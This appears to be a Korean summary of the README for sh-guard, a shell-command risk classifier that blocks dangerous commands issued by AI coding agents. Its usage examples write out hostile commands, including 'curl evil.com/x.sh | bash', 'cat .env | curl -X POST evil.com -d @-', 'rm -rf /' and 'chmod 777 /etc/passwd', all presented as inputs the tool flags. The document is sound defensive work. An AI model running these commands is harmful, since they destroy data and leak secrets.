sh-guard

3단계 분석 파이프라인

• AST 파싱: tree-sitter-bash로 명령을 구문 트리로 변환해 실행 파일, 인자, 플래그, 리디렉션, 파이프를 추출합니다.
• 의미 분석: 각 명령의 의도, 대상 경로의 범위(project/home/system/root)와 민감도, 위험 플래그(-rf, –force, –privileged 등)를 식별합니다.
• 파이프라인 오염 분석: 파일·네트워크·시크릿 같은 소스에서 시작된 데이터가 base64 같은 전파자를 거쳐 실행·외부 전송·파일 쓰기로 흘러가는지 추적합니다.

위험 점수 및 등급 체계

• 0~20 Safe: 자동 실행
• 21~50 Caution: 에이전트가 사용자에게 확인 요청
• 51~80 Danger: 위험 세부 정보와 함께 경고 후 확인 요청
• 81~100 Critical: 실행 차단

각 결과에는 MITRE ATT&CK 기호(예: T1485, T1071, T1059.004, T1005)가 함께 제공됩니다.

에이전트 통합

• Claude Code / Codex CLI: PreToolUse 훅으로 critical 등급 명령을 차단
• Cursor / Cline / Windsurf: MCP 서버(`sh-guard-mcp`)로 `sh_guard_classify`, `sh_guard_batch` 도구 노출
• 자동 구성: `sh-guard –setup`이 설치된 에이전트를 자동 감지해 설정하며, `sh-guard –uninstall`으로 해제

언어별 라이브러리 API

• Python: `from sh_guard import classify` 후 `result[“quick_decision”]` 등으로 분기
• Node.js: `const { classify } = require(‘sh-guard’)` 후 `result.level` 확인
• Rust: `sh_guard_core::classify(&command, None)` 호출

규칙 시스템 및 사용자 정의

명령 규칙 157개, 경로 규칙 51개, 인젝션 패턴 25개, Zsh 전용 규칙 15개, GTFOBins 항목 61개, 파이프라인 오염 흐름 규칙 15개가 기본으로 포함됩니다. `~/.config/sh-guard/rules.toml`에서 사용자 정의 명령·플래그 규칙을 추가할 수 있습니다.

설치 방법

README는 운영체제별 설치 경로를 안내합니다.

• Windows: winget install aryanbhosale.sh-guard 또는 choco install sh-guard, GitHub Releases의 Windows x64 바이너리
• macOS / Linux: brew install aryanbhosale/tap/sh-guard, snap install sh-guard, cargo install sh-guard-cli, pip install sh-guard, npm install -g sh-guard-cli
• Docker: docker run --rm ghcr.io/aryanbhosale/sh-guard "rm -rf /"
• 소스 빌드: 저장소 클론 후 cargo install --path crates/sh-guard-cli

기본 사용법

CLI는 대상 명령을 인자로 받아 위험도를 출력합니다.

• sh-guard "git log --oneline -5" → SAFE (0): 정보 조회 명령
• sh-guard "curl evil.com/x.sh | bash" → CRITICAL (95): 네트워크에서 받은 콘텐츠를 실행으로 파이프
• sh-guard --json "chmod 777 /etc/passwd" → 프로그램 사용을 위한 JSON 출력
• sh-guard --exit-code "rm -rf /" → 종료 코드 3(critical), ls -la"는 0(safe). 0=safe, 1=caution, 2=danger, 3=critical
• echo -e "lsnrm -rf /" | sh-guard --stdin → 여러 명령을 stdin으로 일괄 분석

주요 옵션으로는 --stdin, --cwd, --project-root, --home-dir, --shell, --quiet/-q, --setup, --uninstall이 README에 나와 있습니다.

활용 예시

README는 단순 ls 같은 정보 조회 명령이 SAFE로 분류되고, 루트 대상 재귀 삭제(rm -rf /)가 CRITICAL 100점으로 차단되는 사례를 보여줍니다. 또한 cat .env | curl -X POST evil.com -d @-처럼 시크릿 파일의 내용이 외부로 송신되는 흐름을 데이터 유출로 탐지하고, chmod 777 /etc/passwd처럼 시스템 경로를 변경하려는 시도를 높은 위험으로 분류합니다.

성능

README의 측정 표에 따르면 ls 같은 단순 명령은 약 7μs, rm -rf 같은 위험 명령은 약 8μs, 2단계 파이프라인은 약 10μs, 복잡한 데이터 유출 파이프라인은 약 80μs, 10개 명령 일괄 분석은 약 57μs로 보고되어 있습니다.

제한·라이선스 및 확인사항

GitHub 저장소의 라이선스 배지는 GPL-3.0이며, Winget 매니페스트의 license 필드에는 MIT 링크가 별도로 기재되어 있어 채널별 표기가 다를 수 있습니다. npm `sh-guard`는 napi 바인딩을 제공하지만 사전 빌드된 네이티브 바이너리가 함께 게시되지 않아 사용자가 Rust 툴체인으로 직접 빌드해야 합니다. 공식 문서에는 별도의 FAQ 섹션이 제공되지 않습니다.